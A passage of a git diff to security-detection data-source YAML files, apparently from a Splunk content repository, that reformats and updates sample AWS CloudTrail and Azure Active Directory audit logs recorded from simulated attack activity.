"managementEvent": true, "eventCategory": "Management", "recipientAccountId": "111111111111"} diff --git a/data_sources/aws_cloudtrail_replacenetworkaclentry.yml b/data_sources/aws_cloudtrail_replacenetworkaclentry.yml index 5b011ed737..91c53d18fc 100644 --- a/data_sources/aws_cloudtrail_replacenetworkaclentry.yml +++ b/data_sources/aws_cloudtrail_replacenetworkaclentry.yml @@ -107,4 +107,5 @@ output_fields: - vendor_account - vendor_region - vendor_product -example_log: '{"eventVersion": "1.08", "userIdentity": {"type": "AssumedRole", "principalId": "AROAIJIESMXKGCJRCTPR6:pbareiss@splunk.local", "arn": "arn:aws:sts::111111111111:assumed-role/okta_adm_role/pbareiss@splunk.local", "accountId": "111111111111", "accessKeyId": "ASIAYTOGP2RLF3F7BXZK", "sessionContext": {"sessionIssuer": {"type": "Role", "principalId": "AROAIJIESMXKGCJRCTPR6", "arn": "arn:aws:iam::111111111111:role/okta_adm_role", "accountId": "111111111111", "userName": "okta_adm_role"}, "webIdFederationData": {}, "attributes": {"mfaAuthenticated": "false", "creationDate": "2021-01-12T08:36:15Z"}}}, "eventTime": "2021-01-12T08:49:49Z", "eventSource": "ec2.amazonaws.com", "eventName": "ReplaceNetworkAclEntry", "awsRegion": "eu-central-1", "sourceIPAddress": "95.90.199.65", "userAgent": "console.ec2.amazonaws.com", "requestParameters": {"networkAclId": "acl-078ccebebcbabe175", "ruleNumber": 20, "egress": false, "ruleAction": "allow", "icmpTypeCode": {}, "portRange": {}, "aclProtocol": "-1", "cidrBlock": "0.0.0.0/0"}, "responseElements": {"requestId": "97b40da9-9291-4a92-8e9e-892b6887ffc9", "_return": true}, "requestID": "97b40da9-9291-4a92-8e9e-892b6887ffc9", "eventID": "46fe04b8-d007-4933-8bb8-c8b65c1121fa", "readOnly": false, "eventType": "AwsApiCall", "managementEvent": true, "eventCategory": "Management", "recipientAccountId": "111111111111"}' +example_log: | + {"eventVersion": "1.08", "userIdentity": {"type": "AssumedRole", "principalId": "AROAIJIESMXKGCJRCTPR6:pbareiss@splunk.local", "arn": "arn:aws:sts::111111111111:assumed-role/okta_adm_role/pbareiss@splunk.local", "accountId": "111111111111", "accessKeyId": "ASIAYTOGP2RLF3F7BXZK", "sessionContext": {"sessionIssuer": {"type": "Role", "principalId": "AROAIJIESMXKGCJRCTPR6", "arn": "arn:aws:iam::111111111111:role/okta_adm_role", "accountId": "111111111111", "userName": "okta_adm_role"}, "webIdFederationData": {}, "attributes": {"mfaAuthenticated": "false", "creationDate": "2021-01-12T08:36:15Z"}}}, "eventTime": "2021-01-12T08:49:49Z", "eventSource": "ec2.amazonaws.com", "eventName": "ReplaceNetworkAclEntry", "awsRegion": "eu-central-1", "sourceIPAddress": "95.90.199.65", "userAgent": "console.ec2.amazonaws.com", "requestParameters": {"networkAclId": "acl-078ccebebcbabe175", "ruleNumber": 20, "egress": false, "ruleAction": "allow", "icmpTypeCode": {}, "portRange": {}, "aclProtocol": "-1", "cidrBlock": "0.0.0.0/0"}, "responseElements": {"requestId": "97b40da9-9291-4a92-8e9e-892b6887ffc9", "_return": true}, "requestID": "97b40da9-9291-4a92-8e9e-892b6887ffc9", "eventID": "46fe04b8-d007-4933-8bb8-c8b65c1121fa", "readOnly": false, "eventType": "AwsApiCall", "managementEvent": true, "eventCategory": "Management", "recipientAccountId": "111111111111"} diff --git a/data_sources/aws_cloudtrail_setdefaultpolicyversion.yml b/data_sources/aws_cloudtrail_setdefaultpolicyversion.yml index 08670e5c4b..b144a497c6 100644 --- a/data_sources/aws_cloudtrail_setdefaultpolicyversion.yml +++ b/data_sources/aws_cloudtrail_setdefaultpolicyversion.yml @@ -94,4 +94,5 @@ output_fields: - vendor_account - vendor_region - vendor_product -example_log: '{"eventVersion": "1.08", "userIdentity": {"type": "IAMUser", "principalId": "AIDAYTOGP2RLESDK2NOSX", "arn": "arn:aws:iam::111111111111:user/AtomicRedTeam", "accountId": "111111111111", "accessKeyId": "AKIAYTOGP2RLKMZDMPVA", "userName": "AtomicRedTeam"}, "eventTime": "2021-03-02T21:05:49Z", "eventSource": "iam.amazonaws.com", "eventName": "SetDefaultPolicyVersion", "awsRegion": "us-east-1", "sourceIPAddress": "73.15.72.101", "userAgent": "aws-cli/2.0.62 Python/3.9.0 Darwin/19.6.0 source/x86_64 command/iam.set-default-policy-version", "requestParameters": {"policyArn": "arn:aws:iam::111111111111:policy/VulnerablePolicy", "versionId": "v1"}, "responseElements": null, "requestID": "3bdf8738-2eab-4ae8-a858-2e2a4ccfc66b", "eventID": "742f6e55-4bc7-49e2-965f-56ffbc46a980", "readOnly": false, "eventType": "AwsApiCall", "managementEvent": true, "eventCategory": "Management", "recipientAccountId": "111111111111"}' +example_log: | + {"eventVersion": "1.08", "userIdentity": {"type": "IAMUser", "principalId": "AIDAYTOGP2RLEHRX5YWNV", "arn": "arn:aws:iam::111111111111:user/bhavin_cli", "accountId": "111111111111", "accessKeyId": "AKIAYTOGP2RLNWREA6ND", "userName": "bhavin_cli"}, "eventTime": "2021-02-25T00:47:28Z", "eventSource": "iam.amazonaws.com", "eventName": "SetDefaultPolicyVersion", "awsRegion": "us-east-1", "sourceIPAddress": "73.15.72.101", "userAgent": "aws-cli/2.0.62 Python/3.9.0 Darwin/19.6.0 source/x86_64 command/iam.set-default-policy-version", "requestParameters": {"policyArn": "arn:aws:iam::111111111111:policy/VulnerablePolicy", "versionId": "v1"}, "responseElements": null, "requestID": "26aeca5f-8610-4abe-9f07-2cf0d958682a", "eventID": "d0fd02d6-385a-4226-8e1e-c409ff5a6a94", "readOnly": false, "eventType": "AwsApiCall", "managementEvent": true, "eventCategory": "Management", "recipientAccountId": "111111111111"} diff --git a/data_sources/aws_cloudtrail_stoplogging.yml b/data_sources/aws_cloudtrail_stoplogging.yml index bf1e0ca747..05a65084d8 100644 --- a/data_sources/aws_cloudtrail_stoplogging.yml +++ b/data_sources/aws_cloudtrail_stoplogging.yml @@ -94,4 +94,5 @@ output_fields: - vendor_account - vendor_region - vendor_product -example_log: '{"eventVersion": "1.08", "userIdentity": {"type": "IAMUser", "principalId": "AIDAYTOGP2RLEHRX5YWNV", "arn": "arn:aws:iam::111111111111:user/bhavin_cli", "accountId": "111111111111", "accessKeyId": "AKIAYTOGP2RLKQ3U2PDY", "userName": "bhavin_cli"}, "eventTime": "2022-06-30T21:26:49Z", "eventSource": "cloudtrail.amazonaws.com", "eventName": "StopLogging", "awsRegion": "us-west-2", "sourceIPAddress": "72.193.184.209", "userAgent": "stratus-red-team_a6a8f8f2-d560-4062-bd0d-c232130cfcc5", "requestParameters": {"name": "my-cloudtrail-trail"}, "responseElements": null, "requestID": "d8b79caa-08d2-4f7e-b93a-73bb7b85f260", "eventID": "9f8d2b82-6e9d-45b8-9055-78d8c00ca416", "readOnly": false, "eventType": "AwsApiCall", "managementEvent": true, "recipientAccountId": "111111111111", "eventCategory": "Management", "tlsDetails": {"tlsVersion": "TLSv1.2", "cipherSuite": "ECDHE-RSA-AES128-GCM-SHA256", "clientProvidedHostHeader": "cloudtrail.us-west-2.amazonaws.com"}}' +example_log: | + {"eventVersion": "1.08", "userIdentity": {"type": "IAMUser", "principalId": "AIDAYTOGP2RLEHRX5YWNV", "arn": "arn:aws:iam::111111111111:user/bhavin_cli", "accountId": "111111111111", "accessKeyId": "AKIAYTOGP2RLKQ3U2PDY", "userName": "bhavin_cli"}, "eventTime": "2022-06-30T21:26:49Z", "eventSource": "cloudtrail.amazonaws.com", "eventName": "StopLogging", "awsRegion": "us-west-2", "sourceIPAddress": "72.193.184.209", "userAgent": "stratus-red-team_a6a8f8f2-d560-4062-bd0d-c232130cfcc5", "requestParameters": {"name": "my-cloudtrail-trail"}, "responseElements": null, "requestID": "d8b79caa-08d2-4f7e-b93a-73bb7b85f260", "eventID": "9f8d2b82-6e9d-45b8-9055-78d8c00ca416", "readOnly": false, "eventType": "AwsApiCall", "managementEvent": true, "recipientAccountId": "111111111111", "eventCategory": "Management", "tlsDetails": {"tlsVersion": "TLSv1.2", "cipherSuite": "ECDHE-RSA-AES128-GCM-SHA256", "clientProvidedHostHeader": "cloudtrail.us-west-2.amazonaws.com"}} diff --git a/data_sources/aws_cloudtrail_updateloginprofile.yml b/data_sources/aws_cloudtrail_updateloginprofile.yml index 712eb24d2e..7eceac02b6 100644 --- a/data_sources/aws_cloudtrail_updateloginprofile.yml +++ b/data_sources/aws_cloudtrail_updateloginprofile.yml @@ -89,4 +89,5 @@ output_fields: - vendor_account - vendor_region - vendor_product -example_log: '{"eventVersion": "1.08", "userIdentity": {"type": "IAMUser", "principalId": "AIDAYTOGP2RLEHRX5YWNV", "arn": "arn:aws:iam::111111111111:user/bhavin_cli", "accountId": "111111111111", "accessKeyId": "AKIAYTOGP2RLLAA6NJUM", "userName": "bhavin_cli"}, "eventTime": "2021-03-05T01:02:59Z", "eventSource": "iam.amazonaws.com", "eventName": "UpdateLoginProfile", "awsRegion": "us-east-1", "sourceIPAddress": "73.15.72.101", "userAgent": "aws-cli/2.0.62 Python/3.9.2 Darwin/19.6.0 source/x86_64 command/iam.update-login-profile", "requestParameters": {"userName": "AtomicRedTeam"}, "responseElements": null, "requestID": "08f38478-1749-4fb5-b07c-469d3448777a", "eventID": "033580e7-bbba-4b70-be63-7eeddb04b842", "readOnly": false, "eventType": "AwsApiCall", "managementEvent": true, "eventCategory": "Management", "recipientAccountId": "111111111111"}' +example_log: | + {"eventVersion": "1.08", "userIdentity": {"type": "IAMUser", "principalId": "AIDAYTOGP2RLEHRX5YWNV", "arn": "arn:aws:iam::111111111111:user/bhavin_cli", "accountId": "111111111111", "accessKeyId": "AKIAYTOGP2RLLAA6NJUM", "userName": "bhavin_cli"}, "eventTime": "2021-03-05T01:02:59Z", "eventSource": "iam.amazonaws.com", "eventName": "UpdateLoginProfile", "awsRegion": "us-east-1", "sourceIPAddress": "73.15.72.101", "userAgent": "aws-cli/2.0.62 Python/3.9.2 Darwin/19.6.0 source/x86_64 command/iam.update-login-profile", "requestParameters": {"userName": "AtomicRedTeam"}, "responseElements": null, "requestID": "08f38478-1749-4fb5-b07c-469d3448777a", "eventID": "033580e7-bbba-4b70-be63-7eeddb04b842", "readOnly": false, "eventType": "AwsApiCall", "managementEvent": true, "eventCategory": "Management", "recipientAccountId": "111111111111"} diff --git a/data_sources/aws_cloudtrail_updatetrail.yml b/data_sources/aws_cloudtrail_updatetrail.yml index 6650300110..a65e3b8bc2 100644 --- a/data_sources/aws_cloudtrail_updatetrail.yml +++ b/data_sources/aws_cloudtrail_updatetrail.yml @@ -103,4 +103,5 @@ output_fields: - vendor_account - vendor_region - vendor_product -example_log: '{"eventVersion": "1.08", "userIdentity": {"type": "IAMUser", "principalId": "AIDAYTOGP2RLI4PXTGCEU", "arn": "arn:aws:iam::111111111111:user/gowthamaraj_cli", "accountId": "111111111111", "accessKeyId": "AKIAYTOGP2RLFLKADUVG", "userName": "gowthamaraj_cli"}, "eventTime": "2022-07-19T08:42:26Z", "eventSource": "cloudtrail.amazonaws.com", "eventName": "UpdateTrail", "awsRegion": "us-west-2", "sourceIPAddress": "67.171.71.185", "userAgent": "aws-cli/2.7.3 Python/3.9.13 Darwin/21.5.0 source/x86_64 prompt/off command/cloudtrail.update-trail", "requestParameters": {"name": "Regulatory", "includeGlobalServiceEvents": true, "isMultiRegionTrail": true}, "responseElements": {"name": "Regulatory", "s3BucketName": "s3-for-cloudtrail-logs111", "includeGlobalServiceEvents": true, "isMultiRegionTrail": true, "trailARN": "arn:aws:cloudtrail:us-west-2:111111111111:trail/Regulatory", "logFileValidationEnabled": false, "isOrganizationTrail": false}, "requestID": "0da61466-5bba-43f9-b7e1-27437de120b2", "eventID": "ce02af60-f29e-4bc2-8b29-31c12f408fed", "readOnly": false, "eventType": "AwsApiCall", "managementEvent": true, "recipientAccountId": "111111111111", "eventCategory": "Management", "tlsDetails": {"tlsVersion": "TLSv1.2", "cipherSuite": "ECDHE-RSA-AES128-GCM-SHA256", "clientProvidedHostHeader": "cloudtrail.us-west-2.amazonaws.com"}}' +example_log: | + {"eventVersion": "1.08", "userIdentity": {"type": "IAMUser", "principalId": "AIDAYTOGP2RLI4PXTGCEU", "arn": "arn:aws:iam::111111111111:user/gowthamaraj_cli", "accountId": "111111111111", "accessKeyId": "AKIAYTOGP2RLFLKADUVG", "userName": "gowthamaraj_cli"}, "eventTime": "2022-07-19T08:42:26Z", "eventSource": "cloudtrail.amazonaws.com", "eventName": "UpdateTrail", "awsRegion": "us-west-2", "sourceIPAddress": "67.171.71.185", "userAgent": "aws-cli/2.7.3 Python/3.9.13 Darwin/21.5.0 source/x86_64 prompt/off command/cloudtrail.update-trail", "requestParameters": {"name": "Regulatory", "includeGlobalServiceEvents": true, "isMultiRegionTrail": true}, "responseElements": {"name": "Regulatory", "s3BucketName": "s3-for-cloudtrail-logs111", "includeGlobalServiceEvents": true, "isMultiRegionTrail": true, "trailARN": "arn:aws:cloudtrail:us-west-2:111111111111:trail/Regulatory", "logFileValidationEnabled": false, "isOrganizationTrail": false}, "requestID": "0da61466-5bba-43f9-b7e1-27437de120b2", "eventID": "ce02af60-f29e-4bc2-8b29-31c12f408fed", "readOnly": false, "eventType": "AwsApiCall", "managementEvent": true, "recipientAccountId": "111111111111", "eventCategory": "Management", "tlsDetails": {"tlsVersion": "TLSv1.2", "cipherSuite": "ECDHE-RSA-AES128-GCM-SHA256", "clientProvidedHostHeader": "cloudtrail.us-west-2.amazonaws.com"}} diff --git a/data_sources/azure_active_directory.yml b/data_sources/azure_active_directory.yml index e2e57075cb..5c80ad8b47 100644 --- a/data_sources/azure_active_directory.yml +++ b/data_sources/azure_active_directory.yml @@ -141,3 +141,6 @@ output_fields: - src - vendor_account - vendor_product + +example_log: | + {"time": "8/2/2023 1:08:44 PM", "resourceId": "/tenants/fc69e276-e9e8-4af9-9002-1e410d77244e/providers/microsoft.aadiam", "operationName": "User Risk Detection", "operationVersion": "1.0", "category": "UserRiskEvents", "tenantId": "fc69e276-e9e8-4af9-9002-1e410d77244e", "resultSignature": "None", "durationMs": 0, "callerIpAddress": "72.43.122.40", "correlationId": "efa2cb19d58a7a6a1424c692ca5202552ab1d0025d0e933e442193fc945a6bc6", "identity": "ava.brown", "Level": 4, "location": "us", "properties": {"id": "efa2cb19d58a7a6a1424c692ca5202552ab1d0025d0e933e442193fc945a6bc6", "requestId": "14066cab-a7bf-4e12-ba3d-17a026373700", "correlationId": "20afe6ab-d103-42c9-a810-97c25b61b279", "riskType": "maliciousIPAddress", "riskEventType": "maliciousIPAddress", "riskState": "atRisk", "riskLevel": "high", "riskDetail": "none", "source": "IdentityProtection", "detectionTimingType": "offline", "activity": "signin", "ipAddress": "72.43.122.40", "location": {"city": "New York", "state": "New York", "countryOrRegion": "US", "geoCoordinates": {"altitude": 0.0, "latitude": 0, "longitude": -0}}, "activityDateTime": "2023-08-01T19:55:29.638Z", "detectedDateTime": "2023-08-02T9:12:15.353Z", "lastUpdatedDateTime": "2023-08-02T13:08:44.445Z", "userId": "bd4a5efd-ffd5-4e27-9d7d-96e9094a74ec", "userDisplayName": "Ava.Brown", "userPrincipalName": "Ava.Brown@splunkresearch.com", "additionalInfo": "[{\"Key\":\"userAgent\",\"Value\":\"Mozilla/5.0 (Macintosh; Darwin 22.4.0 Darwin Kernel Version 22.4.0: Mon Mar 6 21:00:17 PST 2023; root:xnu-8796.101.5~3/RELEASE_X86_64; en-US) PowerShell/7.3.4\"}]", "tokenIssuerType": "AzureAD", "resourceTenantId": null, "homeTenantId": "fc69e276-e9e8-4af9-9002-1e410d77244e", "userType": "member", "crossTenantAccessType": "none"}} diff --git a/data_sources/azure_active_directory_add_app_role_assignment_to_service_principal.yml b/data_sources/azure_active_directory_add_app_role_assignment_to_service_principal.yml index e7d33a1661..b7d4e31647 100644 --- a/data_sources/azure_active_directory_add_app_role_assignment_to_service_principal.yml +++ b/data_sources/azure_active_directory_add_app_role_assignment_to_service_principal.yml @@ -103,4 +103,5 @@ output_fields: - src - vendor_account - vendor_product -example_log: '{"time": "2024-02-08T21:49:53.7643129Z", "resourceId": "/tenants/75243ab2-44f8-435c-a7a6-b479385df6d4/providers/Microsoft.aadiam", "operationName": "Add app role assignment to service principal", "operationVersion": "1.0", "category": "AuditLogs", "tenantId": "75243ab2-44f8-435c-a7a6-b479385df6d4", "resultSignature": "None", "durationMs": 0, "correlationId": "ed53faec-49b5-444f-b6af-b928558ca433", "identity": "LegacyTestOAuthApp", "Level": 4, "properties": {"id": "Directory_ed53faec-49b5-444f-b6af-b928558ca433_XH34Q_29215277", "category": "ApplicationManagement", "correlationId": "ed53faec-49b5-444f-b6af-b928558ca433", "result": "success", "resultReason": "", "activityDisplayName": "Add app role assignment to service principal", "activityDateTime": "2024-02-08T21:49:53.7643129+00:00", "loggedByService": "Core Directory", "operationType": "Assign", "userAgent": null, "initiatedBy": {"app": {"appId": null, "displayName": "LegacyTestOAuthApp", "servicePrincipalId": "fc8c8125-bc0c-499d-8344-e53c6e3caa81", "servicePrincipalName": null}}, "targetResources": [{"id": "8429eb5c-faeb-4ade-8eac-acc003790769", "displayName": "Office 365 Exchange Online", "type": "ServicePrincipal", "modifiedProperties": [{"displayName": "AppRole.Id", "oldValue": null, "newValue": "\"dc890d15-9560-4a4c-9b7f-a736ec74ec40\""}, {"displayName": "AppRole.Value", "oldValue": null, "newValue": "\"full_access_as_app\""}, {"displayName": "AppRole.DisplayName", "oldValue": null, "newValue": "\"Use Exchange Web Services with full access to all mailboxes\""}, {"displayName": "AppRoleAssignment.CreatedDateTime", "oldValue": null, "newValue": "\"2024-02-08T21:49:53.6813076Z\""}, {"displayName": "AppRoleAssignment.LastModifiedDateTime", "oldValue": null, "newValue": "\"2024-02-08T21:49:53.6813076Z\""}, {"displayName": "ServicePrincipal.ObjectID", "oldValue": null, "newValue": "\"2e5c2fd0-cca4-452c-9891-a07c0dafd964\""}, {"displayName": "ServicePrincipal.DisplayName", "oldValue": null, "newValue": "\"STRT_Oauth\""}, {"displayName": "ServicePrincipal.AppId", "oldValue": null, "newValue": "\"5f91ce94-4cc5-4ebe-aeb6-f074e57201bb\""}, {"displayName": "ServicePrincipal.Name", "oldValue": null, "newValue": "\"5f91ce94-4cc5-4ebe-aeb6-f074e57201bb\""}, {"displayName": "TargetId.ServicePrincipalNames", "oldValue": null, "newValue": "\"https://outlook.office.com;Microsoft.Exchange;00000002-0000-0ff1-ce00-000000000000;00000002-0000-0ff1-ce00-000000000000/*.outlook.com;00000002-0000-0ff1-ce00-000000000000/outlook.com;00000002-0000-0ff1-ce00-000000000000/mail.office365.com;00000002-0000-0ff1-ce00-000000000000/outlook.office365.com;https://webmail.apps.mil/;https://ps.protection.outlook.com/;https://outlook-dod.office365.us/;https://outlook.com/;https://outlook.office365.com/;https://outlook.office.com/;https://outlook.office365.com:443/;https://outlook-sdf.office365.com/;https://outlook-sdf.office.com/;https://outlook.office365.us/;https://autodiscover-s.office365.us/;https://ps.compliance.protection.outlook.com;https://manage.protection.apps.mil;https://outlook-tdf.office.com/;https://outlook-tdf-2.office.com/;https://ps.outlook.com\""}], "administrativeUnits": []}, {"id": "2e5c2fd0-cca4-452c-9891-a07c0dafd964", "displayName": "5f91ce94-4cc5-4ebe-aeb6-f074e57201bb", "type": "ServicePrincipal", "modifiedProperties": [], "administrativeUnits": []}], "additionalDetails": [{"key": "User-Agent", "value": "Mozilla/5.0 (Macintosh; Darwin 23.3.0 Darwin Kernel Version 23.3.0: Wed Dec 20 21:28:58 PST 2023; root:xnu-10002.81.5~7/RELEASE_X86_64; en-US) PowerShell/7.3.4"}, {"key": "AppId", "value": "00000002-0000-0ff1-ce00-000000000000"}]}}' +example_log: | + {"time": "2024-04-30T08:22:50.3424145Z", "resourceId": "/tenants/225e05a1-5914-4688-a404-7030e60f3143/providers/Microsoft.aadiam", "operationName": "Add app role assignment to service principal", "operationVersion": "1.0", "category": "AuditLogs", "tenantId": "225e05a1-5914-4688-a404-7030e60f3143", "resultSignature": "None", "durationMs": 0, "correlationId": "c967e3a4-9afd-49ee-a68c-bc465aaef2b3", "identity": "MashAuthTest", "Level": 4, "properties": {"tenantId": "225e05a1-5914-4688-a404-7030e60f3143", "resultType": "", "resultDescription": "", "operationName": "Add app role assignment to service principal", "identity": "MashAuthTest", "tenantGeo": "NA", "id": "Directory_c967e3a4-9afd-49ee-a68c-bc465aaef2b3_R6D6O_2613065", "category": "ApplicationManagement", "correlationId": "c967e3a4-9afd-49ee-a68c-bc465aaef2b3", "result": "success", "resultReason": "", "activityDisplayName": "Add app role assignment to service principal", "activityDateTime": "2024-04-30T08:22:50.3424145+00:00", "loggedByService": "Core Directory", "operationType": "Assign", "userAgent": null, "initiatedBy": {"app": {"appId": null, "displayName": "MashAuthTest", "servicePrincipalId": "ffa25d34-fbae-42ec-aa48-bc7e4ff8bf66", "servicePrincipalName": null}}, "targetResources": [{"id": "58c0347e-8f51-49e5-a4db-8b1b857a7ddf", "displayName": "Microsoft Graph", "type": "ServicePrincipal", "modifiedProperties": [{"displayName": "AppRole.Id", "oldValue": null, "newValue": "\"9e3f62cf-ca93-4989-b6ce-bf83c28f9fe8\""}, {"displayName": "AppRole.Value", "oldValue": null, "newValue": "\"RoleManagement.ReadWrite.Directory\""}, {"displayName": "AppRole.DisplayName", "oldValue": null, "newValue": "\"Read and write all directory RBAC settings\""}, {"displayName": "AppRoleAssignment.CreatedDateTime", "oldValue": null, "newValue": "\"2024-04-30T08:22:50.2624094Z\""}, {"displayName": "AppRoleAssignment.LastModifiedDateTime", "oldValue": null, "newValue": "\"2024-04-30T08:22:50.2624094Z\""}, {"displayName": "ServicePrincipal.ObjectID", "oldValue": null, "newValue": "\"ffa25d34-fbae-42ec-aa48-bc7e4ff8bf66\""}, {"displayName": "ServicePrincipal.DisplayName", "oldValue": null, "newValue": "\"MashAuthTest\""}, {"displayName": "ServicePrincipal.AppId", "oldValue": null, "newValue": "\"7889f28d-ad42-441e-b1f6-1ad8da2f13e8\""}, {"displayName": "ServicePrincipal.Name", "oldValue": null, "newValue": "\"7889f28d-ad42-441e-b1f6-1ad8da2f13e8\""}, {"displayName": "TargetId.ServicePrincipalNames", "oldValue": null, "newValue": "\"https://canary.graph.microsoft.com/;https://graph.microsoft.us/;https://dod-graph.microsoft.us/;https://dod-graph.microsoft.us;https://graph.microsoft.com/;https://graph.microsoft.us;https://canary.graph.microsoft.com;https://graph.microsoft.com;https://ags.windows.net;00000003-0000-0000-c000-000000000000/ags.windows.net;00000003-0000-0000-c000-000000000000\""}], "administrativeUnits": []}, {"id": "ffa25d34-fbae-42ec-aa48-bc7e4ff8bf66", "displayName": "7889f28d-ad42-441e-b1f6-1ad8da2f13e8", "type": "ServicePrincipal", "modifiedProperties": [], "administrativeUnits": []}], "additionalDetails": [{"key": "User-Agent", "value": "Mozilla/5.0 (Windows NT 10.0; Microsoft Windows 10.0.19045; en-AU) PowerShell/5.1.19041.4291"}, {"key": "AppId", "value": "00000003-0000-0000-c000-000000000000"}]}} diff --git a/data_sources/azure_active_directory_add_member_to_role.yml b/data_sources/azure_active_directory_add_member_to_role.yml index 8544970f9e..45e9909c7a 100644 --- a/data_sources/azure_active_directory_add_member_to_role.yml +++ b/data_sources/azure_active_directory_add_member_to_role.yml @@ -109,4 +109,5 @@ output_fields: - src - vendor_account - vendor_product -example_log: '{"time": "2023-04-28T16:39:51.9312625Z", "resourceId": "/tenants/fc69e276-e9e8-4af9-9002-1e410d77244e/providers/Microsoft.aadiam", "operationName": "Add member to role", "operationVersion": "1.0", "category": "AuditLogs", "tenantId": "fc69e276-e9e8-4af9-9002-1e410d77244e", "resultSignature": "None", "durationMs": 0, "callerIpAddress": "52.177.250.168", "correlationId": "b425f2d7-2245-4952-b599-61dff8054f2b", "Level": 4, "properties": {"id": "Directory_b425f2d7-2245-4952-b599-61dff8054f2b_FLAW0_72812697", "category": "RoleManagement", "correlationId": "b425f2d7-2245-4952-b599-61dff8054f2b", "result": "success", "resultReason": "", "activityDisplayName": "Add member to role", "activityDateTime": "2023-04-28T16:39:51.9312625+00:00", "loggedByService": "Core Directory", "operationType": "Assign", "userAgent": null, "initiatedBy": {"user": {"id": "3bd47e42-37c9-442f-a2b4-f04de61ef0ce", "displayName": null, "userPrincipalName": "strt_admin@splunkresearch.com", "ipAddress": "52.177.250.168", "roles": []}}, "targetResources": [{"id": "0d664d57-a3ee-4049-8642-280a5c7243ef", "displayName": null, "type": "User", "userPrincipalName": "User1@splunkresearch.com", "modifiedProperties": [{"displayName": "Role.ObjectID", "oldValue": null, "newValue": "\"38bf5baf-7ec7-4bc2-8920-6d4044da12c2\""}, {"displayName": "Role.DisplayName", "oldValue": null, "newValue": "\"Privileged Role Administrator\""}, {"displayName": "Role.TemplateId", "oldValue": null, "newValue": "\"9b895d92-2cd3-44c7-9d02-a6ac2d5ea5c3\""}, {"displayName": "Role.WellKnownObjectName", "oldValue": null, "newValue": "\"ApplicationAdministrators\""}], "administrativeUnits": []}, {"id": "38bf5baf-7ec7-4bc2-8920-6d4044da12c2", "displayName": null, "type": "Role", "modifiedProperties": [], "administrativeUnits": []}], "additionalDetails": []}}' +example_log: | + {"time": "2023-06-27T22:29:52.2296810Z", "resourceId": "/tenants/fc69e276-e9e8-4af9-9002-1e410d77244e/providers/Microsoft.aadiam", "operationName": "Add member to role", "operationVersion": "1.0", "category": "AuditLogs", "tenantId": "fc69e276-e9e8-4af9-9002-1e410d77244e", "resultSignature": "None", "durationMs": 0, "callerIpAddress": "2601:646:a000:200:944:c9d7:a3bb:de44", "correlationId": "59208262-ea89-4d82-a16b-00b81c111a38", "Level": 4, "properties": {"id": "Directory_59208262-ea89-4d82-a16b-00b81c111a38_R63ZQ_355377136", "category": "RoleManagement", "correlationId": "59208262-ea89-4d82-a16b-00b81c111a38", "result": "success", "resultReason": "", "activityDisplayName": "Add member to role", "activityDateTime": "2023-06-27T22:29:52.229681+00:00", "loggedByService": "Core Directory", "operationType": "Assign", "userAgent": null, "initiatedBy": {"user": {"id": "728989f4-eb3d-45c2-8741-2f2af4e485ce", "displayName": null, "userPrincipalName": "dummyr@splunkresearch.com", "ipAddress": "2601:646:a000:200:944:c9d7:a3bb:de44", "roles": []}}, "targetResources": [{"id": "99c677b8-a4ae-478c-9ccc-57043a2843a5", "displayName": null, "type": "User", "userPrincipalName": "Ava.Brown@splunkresearch.com", "modifiedProperties": [{"displayName": "Role.ObjectID", "oldValue": null, "newValue": "\"38bf5baf-7ec7-4bc2-8920-6d4044da12c2\""}, {"displayName": "Role.DisplayName", "oldValue": null, "newValue": "\"Application Administrator\""}, {"displayName": "Role.TemplateId", "oldValue": null, "newValue": "\"9b895d92-2cd3-44c7-9d02-a6ac2d5ea5c3\""}, {"displayName": "Role.WellKnownObjectName", "oldValue": null, "newValue": "\"UserAccountAdmins\""}], "administrativeUnits": []}, {"id": "38bf5baf-7ec7-4bc2-8920-6d4044da12c2", "displayName": null, "type": "Role", "modifiedProperties": [], "administrativeUnits": []}], "additionalDetails": []}} diff --git a/data_sources/azure_active_directory_add_owner_to_application.yml b/data_sources/azure_active_directory_add_owner_to_application.yml index d6ff3f12d0..bc0dd728db 100644 --- a/data_sources/azure_active_directory_add_owner_to_application.yml +++ b/data_sources/azure_active_directory_add_owner_to_application.yml @@ -111,4 +111,5 @@ output_fields: - src - vendor_account - vendor_product -example_log: '{"time": "2023-06-20T15:54:13.2420879Z", "resourceId": "/tenants/fc69e276-e9e8-4af9-9002-1e410d77244e/providers/Microsoft.aadiam", "operationName": "Add owner to application", "operationVersion": "1.0", "category": "AuditLogs", "tenantId": "fc69e276-e9e8-4af9-9002-1e410d77244e", "resultSignature": "None", "durationMs": 0, "callerIpAddress": "20.190.135.43", "correlationId": "231de5d4-2156-433a-8163-48956bdaa040", "Level": 4, "properties": {"id": "Directory_231de5d4-2156-433a-8163-48956bdaa040_C21RW_365283677", "category": "ApplicationManagement", "correlationId": "231de5d4-2156-433a-8163-48956bdaa040", "result": "success", "resultReason": "", "activityDisplayName": "Add owner to application", "activityDateTime": "2023-06-20T15:54:13.2420879+00:00", "loggedByService": "Core Directory", "operationType": "Assign", "userAgent": null, "initiatedBy": {"user": {"id": "4d3f1865-b395-4430-91dc-1b9dd337712e", "displayName": null, "userPrincipalName": "globaladmin@splunkresearch.com", "ipAddress": "20.190.135.43", "roles": []}}, "targetResources": [{"id": "dd92f1af-43d7-47d9-b93c-a78c6b635180", "displayName": null, "type": "User", "userPrincipalName": "Abigail.Clark@splunkresearch.com", "modifiedProperties": [{"displayName": "Application.ObjectID", "oldValue": null, "newValue": "\"bb2479d8-5e89-4480-bb7e-3178d5a5d469\""}, {"displayName": "Application.DisplayName", "oldValue": null, "newValue": "\"CloudForge\""}, {"displayName": "Application.AppId", "oldValue": null, "newValue": "\"f0748f3d-45f2-4e2e-a4e1-f2e2b5271bdf\""}], "administrativeUnits": []}, {"id": "bb2479d8-5e89-4480-bb7e-3178d5a5d469", "displayName": null, "type": "Application", "modifiedProperties": [], "administrativeUnits": []}], "additionalDetails": [{"key": "User-Agent", "value": "Mozilla/5.0 (Macintosh; Darwin 22.4.0 Darwin Kernel Version 22.4.0: Mon Mar 6 21:00:17 PST 2023; root:xnu-8796.101.5~3/RELEASE_X86_64; en-US) PowerShell/7.3.4"}]}}' +example_log: | + {"time": "2023-06-20T15:54:13.2420879Z", "resourceId": "/tenants/fc69e276-e9e8-4af9-9002-1e410d77244e/providers/Microsoft.aadiam", "operationName": "Add owner to application", "operationVersion": "1.0", "category": "AuditLogs", "tenantId": "fc69e276-e9e8-4af9-9002-1e410d77244e", "resultSignature": "None", "durationMs": 0, "callerIpAddress": "20.190.135.43", "correlationId": 